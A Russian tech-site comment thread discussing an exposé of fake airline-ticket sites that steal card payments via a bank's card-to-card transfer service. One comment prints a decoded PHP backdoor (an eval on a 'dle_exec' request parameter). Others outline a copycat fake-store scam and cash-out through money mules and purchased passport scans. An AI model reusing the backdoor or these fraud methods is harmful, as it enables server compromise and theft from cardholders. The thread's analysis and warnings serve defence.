Pull to refresh

Comments 87

SECURE_AUTH_KEY — секретный ключ для подключения к чему-то без использования паролей. Для чего именно использовался этот ключ, из тех файлов, что были в наличии, непонятно.

Судя по структуре, константам и тд, там просто в основе DLE используется. В dle эта константа для хеширования используется, вроде.
Опередили. Согласен по путям и всему соответствует CMS DLE
Огромная работа проделана. Очень непросто даже собрать весь такой материал, и уж тем более написать статью. Спасибо!
Зачем из этого делать тайну? На первом скриншоте SQL-инъекция.
А как с помощью SQL-инъекции можно получить файлы? Можно ссылочку какую-нибудь, или что-то вроде того…
Работа конечно большая проделана, но помоему весь смысл статьи можно сократить в этих предложениях:

Некий поддельный сайт раскручивают при запросе цен на авиабилеты парсит легальные сайты, показывая пользователю результаты.
При оплате данные карты посылаются на легальный сервис card2card банка.

И, если раньше, использовались фреймы, пряча визуальные части страниц, то в этом случае идет просто отправка данных через POST.

Разрабов банка отпинать, что не смотрят откуда идут данные.
Удивительно, что вас минусуют. Как по мне, статью можно смело сокращать раза в 3-4. Вероятно, xbox любит много писать, но в тексте слишком много подробностей и воды, что не сказать, что плохо, но отвлекает и подталкивает пропускать все эти триады.
xbox, могу порекомендовать книгу «Пиши, сокращай».
Спасибо за комментарий и ссылку.
Книгу прочитаю.

Автор предыдущего перед Вашим сообщения, судя по всему, уже ознакомился с этой книгой.

А мне наоборот понравилось. Именно такими статьями и завлекаются молодые кадры в наш стан. при эом автор умудрился рассказать достаточно, чтобы с нулевыми знаниями можно было разобраться, но в то же время без нудятины.

Давайте расширим чтоль функционал — зачем ограничиваться только авиабилетами? Ведь можно продавать смартфоны, компьютеры, и ещё что угодно, и парсить цены с легитимных сайтов. Обычные пользователи ведь как вводят адрес сайта: открывают браузер и в поиске пишут «одноклассники» — им выдаётся самая релевантная страница — легитимная, и по ней переходят. Аналогично пишут «ситилинк», или другой магазин — и большинство не обратят внимания, если первой ссылкой будет какой-нибудь «ситилинк.рф» (сейчас несуществующий). Далее парсим оригинальный сайт, пишем что-нибудь вроде «В связи с участившимися случаями отказа от товара, просим предоставить 50% предоплату» — и далее заставить пользователя платить.

P.S. не считайте руководством к действию, если что.
P.P.S. Кстати, иногда код php можно получить без доступа на хостинг, в случае ошибок в работе сервера. Мне несколько раз попадалось — вместо кода html страницы возвращается сам текст php-страницы (код php).
Вы знаете, сайт о смартфонах с хорошим трафом сам по себе приносит неплохую прибыль никого не обманывая. Адсенс + брендинг + прямые ссылки на партнеров в месяц дают хорошую прибыль.

Но, чтобы ситилинк рф, оказался легитимней еще надо постараться)
Как уже было сказано — у авиабилетов и в нормальных условиях бардак — цены различные, куча сайтов с предложениями — очень удобно маскироваться. Ещё один бонус — иногда билеты покупают заранее (перед НГ будет проблема, поищу сейчас подешевле) и что билетов нет узнает только через месяц-другой. Тут, скорее, не смартфоны, а отели ближе — букинг.рф (если его ещё нет), который будет парсить сторонние сайты и отдавать электронное бронирование. Но тут и минус (как и у смартов) — билеты — это одно, а эти требуют фотки/текст описания/всякие параметры. Ж/д билеты похожи.
xbox, интересно, а ж/д (автобусные, водного транспорта) билеты так не продают? Оно ведь наиболее близко…
интересно, а ж/д (автобусные, водного транспорта) билеты так не продают? Оно ведь наиболее близко…

Сообщения на форумах, про то, что ж/д билеты таким же образом планируется продавать я встречал, но хотя бы один подобный сайт ни разу не видел. С точки зрения создания сайта затраты примерно одинаковые, но привлечь покупателей намного сложней. Цены на внутренние жд билеты, если я не ошибаюсь, у всех примерно одинаковые. Цена отличается только комиссией за продажу билета. Также РЖД фактически монополист и найти альтернативный маршрут обычно невозможно. Поэтому большинство покупателей жд билетов покупают их напрямую у ржд, остальные у нескольких известных компаний-посредников.
Ну что ребят, приехали. Банк из топ 10 помогает воровать ваши деньги. Это конечно весело, но явно не для жителей РФ.
Следующий обзор рынка СМС подписок, просветит вас, что в «переливании» денег замешаны не только Банки)
С СМС подписками связаны по моему вообще все операторы сотовой связи.
Кроме, наверно, Йоты. У нее вообще дополнительные услуги отсутствуют как класс. Абонентская плата и пакет минут-смс-интернет, пакет превысил — плати поминутно или докупай, никаких дополнительных услуг нет
А йота разве не дочерняя компания одного из трех наших главных? Я могу ошибаться, но это же вроде часть мегафона сейчас?
Насколько я знаю, Йота использует инфраструктуру Мегафона, но не принадлежит ему.
Ну, видимо, память подводит. Спасибо ;)
UFO landed and left these words here
Вообще не ввожу данные карты ни на каких сайтах, кроме сайтов банков (если приходится все таки — ввожу данные виртуальной одноразовой карты). Как правило магазины и всякие другие сервисы, требующие оплату, отправляют для платежа на сайт банка, с которым заключен договор по карточным платежам. Довольно часто это известные банки, мне постоянно попадаются Газпром и Сбер. В этом случае я почти всегда проверяю не только домен у сайта, а поле «Организация» у сертификата (благо это можно сделать в 2 клика). Хотя для того же Сбера можно просто домен прочитать (с учетом того, что я отличаю таки sberbank.ru от sberdank.ru) и убедаться, что «замочек зелененький». С Газпромом можно уже глаза сломать. Вообще неплохо было бы, чтобы для PCI DSS требовался EV сертификат, глазами бы смотреть было удобнее. Но к сожалению…

По этой причине (невозможно проверить, кому уйдут данные) ненавижу сайты/магазины, которые встраивают платежную форму фреймом. В этом случае приходится лезть выяснять, что это действительно фрейм, а не форма ввода, и что подгружается он с сайта банка, не откуда попало, и что у сайта банка сертификат соответствующего уровня. Вот мне как пользователю больше делать нечего, как в код лезть. А не лезть — себе дороже может получиться (об этом и статья).

Яркий пример — личный кабинет Ростелекома. Ну вот зачем они фрейм вкорячили — ума не приложу. Первый раз пришлось бродить и проверять, действительно ли у них фрейм сбербанка, или что-то свое вкорячили.
Я думаю, 9 из 10 человек даже не задумаются проверить. А если и задумаются, то им ещё надо лезть в гугл, чтобы прочитать как это сделать
В строке, которую вы привели в «головоломке для хакеров», ничего сложного — там стандартный base64

if(isset($_REQUEST[«dle_exec»])){
eval($_REQUEST[«dle_exec»]);
exit;
}
За 25 тысяч получаешь сайт с эксплоитом?
ну уж sumanai…
-Это не настоящий кокс, Джонни!
Спасибо, что расшифровали.

Поясню, как я понимаю назначение этого блока. Поправьте, если я не прав.

Если при обращении к сайту в запросе есть параметр dle_exec, то выполнить весь код, который указан в значении этого параметра.

Собака "@" в коде нужна для подавления возможных ошибок, — при ошибке в коде программа не останавливается, а сообщения об ошибке не выводятся на экран и в лог.

Достаточно обратится по какому-то адресу с запросом типа
fakeavia.ru/somepage?dle_exec=любой_исполняемый_код_указанный_прямо_в_этой_строке

и весь код, который может быть любым, будет выполнен на сервере. Т.е., например, можно прочитать содержимое базы данных, создать, удалить файл итп.

Т.е., получается, что все эти мошеннические сайты содержат троян от разработчика?
Если это так, то думаю, даже на «теневых форумах» покупатели исходников должны высказать свое отношение к разработчику.

Хм… это ж можно добавить логирование входов в админку и выследить конкретных поганцев. Или просто снести к чертям все такие сайты ботом (это, конечно, пофиксят).

Только это надо делать сейчас, пока они не прочухали и не добрались до комментариев на ГТ. Автор-то наверняка ознакомится в самые ближайшие дни и внесёт в код изменения, а до тех, кто использует его код, информация может доходить дольше.
Вообще, это подмочит репутацию бравого фейкодела, такой бэкдор в «коммерческом» проекте…
Поменяет ник на новый и бравые скрипткидди радостно продолжат покупать поделие и дальше.
Вор у вора дубинку украл… а вот чей это «вклад» — авторов движка или его крякеров — вопрос (навряд ли автор авиасайта был в курсе, если там пишут «код — костыль на костыле).
Движок на этих «авиасайтах» используется DataLife Engine (DLE), нулёная версия.
Все представленные в описании файлы, в этот движок не входят, — эти файлы создаются специально для мошеннических сайтов и встраиваются в стандартный движок DLE.

Т.е. вот это с «dle_exec» — это из приложенных файлов, а не из основного кода движка? Тогда странное название(похожее на стандартное), могли бы и lgrjegjreg_fewkljwelfj назвать.
Может суть именно в похожести на стандартное?
«dle_exec» — это было в файле config.php.
Конфигурационный файл config.php содержит массив с ~170 разными параметрами, такими как кодировка, ключевые слова, время, язык итп.

Файл этот, вероятно, входит в стандартную поставку движка DLE, но ничего не мешает в него добавить произвольное количество своих дополнительных параметров.

Параметр из этого файла может быть получен из любого другого программного файла на хостинге. Какие-то сохраненные параметры из этого файла используются, а какие-то могут никогда не использоваться.

Обычно значение параметра получается по имени. Например, используемые языки 'langs' => 'Russian'. В случае, когда имя параметра само представляет из себя длинную зашифрованную строку, по имени к нему обратится проблематично. Но есть другой способ, — выбрать из массива все параметры, значения которых равны «456». А потом среди выбранных значений получить имя параметра и как-то его использовать. В коде это будет выглядеть так, что ничего подозрительного сразу не заметишь. Например, — найти в конфиге что-то равное 456 и вывести имя первого найденного параметра на экран.

Также в конфиге прямо перед зашифрованной строкой был еще такой параметр '123' => '123'. Скорее всего такой параметр нужен для предварительной проверки того, что сайт содержит закладку. Иной смысл такого параметра трудно предположить.

У меня есть только ограниченное количество файлов «авиасайта». Где и как использовалась закладка, я не знаю. В тех файлах, которые есть, точное место не нашел. Но, в ряд ли, эта зашифрованная закладка с ~трояном просто так в конфиг попала. «Совпадение? -Не думаю.»
Автору спасибо за разбор, интересно. Разослал знакомым ссылку в качестве предупреждения :) Скоро Новый год, многие будут билеты покупать.
По поводу слова «Вбив», в первой отладочной информации. Это не опечатка. Так на «теневых» форумах называется, когда человек вбил свои данные карты и у него успешно списались деньги или когда мошенник вбил данные карты (украденные фишингом) и успешно оплатил что то
<input type="hidden" name="DESC" id="DESC" value=""</input>


Профессиональненько, однако.
Кастую повышение рейта Гиктаймс на запрос «фейк авиабилеты». :)
Дизайн страницы «оплаты» скопирован с реальной страницы оплаты через dengionline, если не путаю.
как всё-таки подменялся адрес возврата? он заранее передавался параметром типа «описание платежа»?
Думаю, вообще в одном из передаваемых полей при платеже. И если 3ds, то туда отправляется.
Ибо страница банка должна знать, куда отправлять клиента при успешной оплате и при ошибке. А просто отправить на домен, от куда пришел — мало данных в итоге.
А эксплоит то зачем понадобился?
Судя по mysql, либо этот кулхацкер первый день в пхп, либо скрипт реально старый.
Ах да, можно было так просто взять и повалить все одной простейшей sql-инъекцией?
А как добыли payp2p.php? Этого «один из пользователей Geektimes» не раскрыл?;)

Не проходит платеж при подмене страницы возврата? Ну очевидно, при обращении к этой странице (https://3ds.payment.ru/cgi-bin/cgi_link) производятся действия, необходимые для завершения операции. И естественно подмененная страница на мошенническом сайте должна с помощью curl обратиться к оригинальной странице.

Вот кусочек api, связанный с 3-d secure: http://payture.com/integration/api/3-d-secure/
Там в ответе еще и пара параметров приходит, их надо серверным скриптом на на оригинальную страницу отправить.

А меня вот интересует, почему карты, вроде как защищенные всякими verifed by visa и 3dsecure, проскакивают без подтверждения по смс и через сайт банка нанекоторых сайтах, например, godaddy, ГОСУСЛУГИ, aliexpress???
потому что магазин не запросил 3d secure
у гоудяди (по крайней мере лет 5 назад) вобще даже без cvc деньги списывались, просто по номеру карты и сроку действия. Помню для меня это шок был.
У многих американских магазинов так, Cabelas.com еще пару лет назад. Просто у них биллинги старые, а зачем что-то менять если и так работает.
Все зависит от настроек и ответственности продавца

Например, емнп, в магните не запрашивается ПИН от карты при сумме платежа менее 1000.

Проскакивала статья, где подробно описывались такие механизмы. Там же говорилось, что если точка оснащена терминалом с только магнитным считывателем, то при оплате левой картой и при подобных разборках — возмещение лежит на продавце. Если оплата производилась по чипу — то ответственность по возмещению ложится на банк.
Это при условии, что было доказана невиновность картодержателя.
Про магнит: наверно зависит от банка. Сбербанк — всегда пин, еще не было, что б без пина платил физически картой. Балтийский — до 1к без пина. Рокет бесконтактно до 1к без пина.
Ну допустим, удалось взломщикам перевести на свою карту деньги? Но как они смогут их обналичить бесследно. Ведь все банковские операции фиксируются. Ведь все на виду. Разве не так? Или я что-то недопонимаю, или банкиры недоговаривают
Дропы. Люди которые в темную (обманом) либо в явном виде идут и светят свои паспорта и лица, переводят бОльший процент «работодателю». Их обычно и берут в оборот органы, редко когда можно выйти на дроповода или верхушку такой группы
Первое, что пришло в голову. Заказать карту Яндекс Деньги или Киви, паспорт спрашивают только на почте при получении письма с картой. Снимать в банкомате в другой части города.
Так и с любой другой картой паспорт спрашивают один раз.
Или на почте можно легко без паспорта/прав получить? (я действительно не в курсе)
В статье или где-то в теме по продаже скрипта шла речь о сливе на Visa Virtual, там все просто: покупаем сканы паспортов и регаем на них QIWI или просто покупаем готовые QIWI. С QIWI деньги можно хоть в биткоины слить, хотя обычно все куда проще: берутся карты на дропов (люди, которые сознательно за определенную сумму оформляют на себя карты или у которых их получают обманом), деньги сливаются на них, дальше либо самолично налятся в банкоматах или сами дропы их налят (хотя тут вариантов вывода уже много). Да и вообще, я видел предложения по оформлению всяких карт типа Momentum от Сбербанка или Кукурузы на вообще левые данные (тут очевидно через сотрудников).
Ежедневно бесследно обналичиваются миллионы рублей… Из банков, фирм-однодневок вымываются миллионы капитала. Причем чисто хакерских денег — доли процента в ежедневном обороте.
Это только начало. Сейчас банкиры как с цепи сорвались все хотят делать переводы в интернете: «как же у того банка есть, а у нас нет» и причем именно с возможность делать переводы с чужой и/или на чужую карту. Особо выдающиеся, не освоив даже эмитентский 3ds, хотят что бы с их карт была возможность переводов. То есть готовы даже собственных клиентов подставлять. Это же easymoney — не делая фактически ничего (налика нет, инкассации нет, с ТСП возиться не нужно) иметь свой процентик. Пока доходы оправдывают риск ситуация не изменится, будет только хуже.

Плюс большая проблема с образованностью населения. Вот сколько человек обратили внимание на странные слова «CARD2CARD» в SMS? Да и если разобраться сама SMSка — для чего она? Тот же Сбер целые простыни присылает: ИНН, БИК, счет — это зачем? Не затем ли что бы проверить кому платеж-то собственно?
Думаю, что тут еще расчет на психологию — любители халявки, как же — билеты по дешевке, как раз на такие простые трюки и попадаются.

Покопитаню:
1. Для интернет платежей использовать специальные, лучше виртуальные карты, а не ту на которой последние кровные лежат.
2. Переводы делать только на сайте своего банка и всегда проверять валидность сертификата сайта, Банкомат банка стоящий в отделении банка — тоже вариант.
3. Надо все ж таки смотреть на весь текст SMSки, а не только на одноразовый пароль!

«CARD2CARD» — что бы в одну смс-ку влезло — это ж какая экономия для банка!
Сейчас все с цепи сорвались и даже соц сети
2. И даже в этом случае банкомат надо проверять на наличие посторонних предметов.

Совершенно недопустимое отношение банка с настройкам своего софта. Проблема со встраиванием в iframe решается добавлением одного (!) HTTP заголовка X-Frame-Options.
Однако воз у них и ныне там.


root@beta:/home/xm # curl -I https://3ds.payment.ru
HTTP/1.1 200 OK
Date: Mon, 14 Nov 2016 16:26:14 GMT
Server: Apache
Last-Modified: Tue, 06 Mar 2012 07:27:26 GMT
Accept-Ranges: bytes
Content-Length: 1076
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: text/html
> Проблема со встраиванием в iframe
Так ведь многие легальные сайты используют встраивание в iframe.
Так сам Промсвзяьбанк на своем основном сайте https://www.psbank.ru/Personal/eCommerce/Card2Card отображает форму с 3ds.payment.ru с помощью iframe. Про домен 3ds.payment.ru мало кто из клиентов банка вообще догадывается. Если они такой заголовок поставят, то сами себе и проблемы могут устроить. Как минимум, придется в заголовке указывать доверенные домены, которые могут страницу во фрейме показывать. А эту опцию некоторые браузеры могут не поддерживать.

Касательно конкретного скрипта, описываемого в статье, — он не использует iframe, а обращается к странице с формой оплаты напрямую.

А, спасибо, теперь увидел что iframe это с самого сайта PSB.

Кое как дочитал, почти без перескакиваний )) Тема на самом деле гораздо древнее чем авиабилеты. Утягивание со страниц сторонних сайтов интересного контента используется практически повсеместно. Парсить платежный шлюз или сайт с погодой — вопрос личной этики, не больше. Это я к тому что сколько ещё обыденных вещей используется не по задуманному назначению.
//забираем страничку с сайта
$html = file_get_contents($sto_html);

//вырезаем оттель скрипты
preg_match_all('|<script[^>]*?>(.*?)</script>|sei', $html, $arr);
но если обратить внимание на версию Firefox, которую «альтернативный» скрипт payment.php выдает в качестве идентификатора браузера («Firefox/3.0.3»), можно предположить, что он был написан как минимум несколько лет назад и, вероятно, сервис перевода с карты на карту Промсвязьбанка использовался подобными скриптами годами
Переводы с карты на карту появились только в начале 2012 года у некоторых банках, а массово стали появляться только к концу того года. В ПСБ переводы появились где-то в 2013.
Я не возражаю.
2-3 года тоже ведь подходят под определение «несколько лет назад».
А слова «возможно совпадение» и «можно предположить» показывают, что это только попытка угадать возможный возраст скрипта, а не однозначное удтверждение.

Проверил на странице с формой на сайте 3ds.payment.ru. Многие CSS файлы имеют дату примерно:
Last-Modified:"Thu, 13 Mar 2014 07:15:27 GMT"

Когда появляется какой-то новый, сырой, еще не обкатанный продукт, то существует большая вероятность наличия в нем слабых мест. Поэтому, теоретически можно начинать им «пользоваться» сразу после запуска.
UFO landed and left these words here
Банки не всегда сами своими силами делают свои онлайн-системы. А делают какие-нибудь подрядчики, которые сдали проект и забыли про него. А банкам «влом» доплачивать, чтобы делать какие-нибудь обновления и тем более анализ багов. Вот и получаются такие случаи.
Если я не ошибаюсь, то здесь не проблема конкретного банка, а самой схемы оплаты в целом. Т.е. как таковой защиты нет, только разве что банки будут объяснять пользователям, нормально ли вообще производить перевод с карты на карту, когда оплачиваешь услугу на сайте (например, при покупке авиабилета).
Касательно защиты.
Она реализуется элементарно, средствами банка и 3ДС через CORS Policy.
CORS на целевом сайте определяет с какого адреса или страницы доступны отправки пост-запросов. Проблема в том, что реферер, технически, можно убрать, в конце концов, отправляя с ссл-сайта. В случае CORS, браузер сам откажется отправлять данные, если сайт-приемник указал — я принимаю с адресов http://mysite.com/card.php, а отправка идет с другого.

Таким образом, пути следующие:
1) для того, чтоб начать принимать средства, владелец карты должен получить адрес для отправки платежных данных. Этот адрес должен быть уникальный для каждой карты.
2) При получении адреса, пользователь должен указать урл, с которого эти данные будут отправляться.
3) при заходе на урл из п.1, он отправляет CORS заголовок, что данные принимает только с урла из п.2
4) А персонал банка, в свою очередь, сможет проверить урлы, которые отправлены в заявку на подключение онлайн р2р.
То же самое касается 3ДС-шлюза, он должен, используя CORS, принимать данные только из согласованных с банком урлов.

Ну и самое главное — а куда черт побери скоринг и антифрод смотрят?

С сайтом банка, на котором форма для P2P перевода, общается исключительно скрипт. Можно конечно ограничить количество запросов с одного ip. Но черт возьми, вдруг это какой-то провайдер, в связи с дефицитом ipv4 адресов, посадил всех своих пользователей за nat?
Страничка на сайте другого банка, где проверяется 3ds, получает url, на который вернуться после проверки, из параметра post запроса. Иметь всем, кто проверяет 3ds, список всех легальных адресов платежных шлюзов — сомнительная идея. Собственно стандартный протокол для проверки 3ds и был придуман для того, чтобы разработчику платежного шлюза не надо было заключать договоры с каждым банком в мире, чтобы иметь возможность принимать оплату по его картам.

Ну и самое главное — а куда черт побери скоринг и антифрод смотрят?


Тут большой вопрос, несет ли банк убытки.
В первой и второй публикациях мы обсуждали, что банки при переводах с карты на карту шлют непонятные многим смс-уведомления. Я думаю, что немного реальных пользователей карт, прочитав в смс уведомлении «P2P» и еще несколько букв, поймут, что это означает. Этим пользуются мошенники, пытаясь представить платежи с карты на карту, как оплату каких либо товаров/услуг.

Еще один из крупнейших банков, занимающий 12 место по размерам активов, продолжает слать точно такие же уведомления при переводах с карты на карту. Давайте сравним уведомления.

Промсвязьбанк. Было: «P2P PSBANK»; Стало: «CARD2CARD PSBANK.RU».
МДМ Банк: «MDM P2P». Молодцы!

МДМ Банк — это теперь уже Бинбанк, но в уведобмлениях название пока старое.
18 ноября 2016 года ПАО «БИНБАНК» завершило реорганизацию в форме присоединения к ПАО «МДМ Банк». Название ПАО «МДМ Банк» было изменено на ПАО «БИНБАНК».

Скриншот смс-уведомления от МДМ/Бинбанка под спойлером

Написал новую статью, в некоторой степени имеющую отношение к первой публикации о мошеннических сайтах, продающих фейк-авиабилеты.

Яндекс игнорирует проверку 3D Secure при оплате рекламы в Яндекс.Директ с помощью банковских карт.

Приглашаю оценить и обсудить…
Only those users with full accounts are able to leave comments. Log in, please.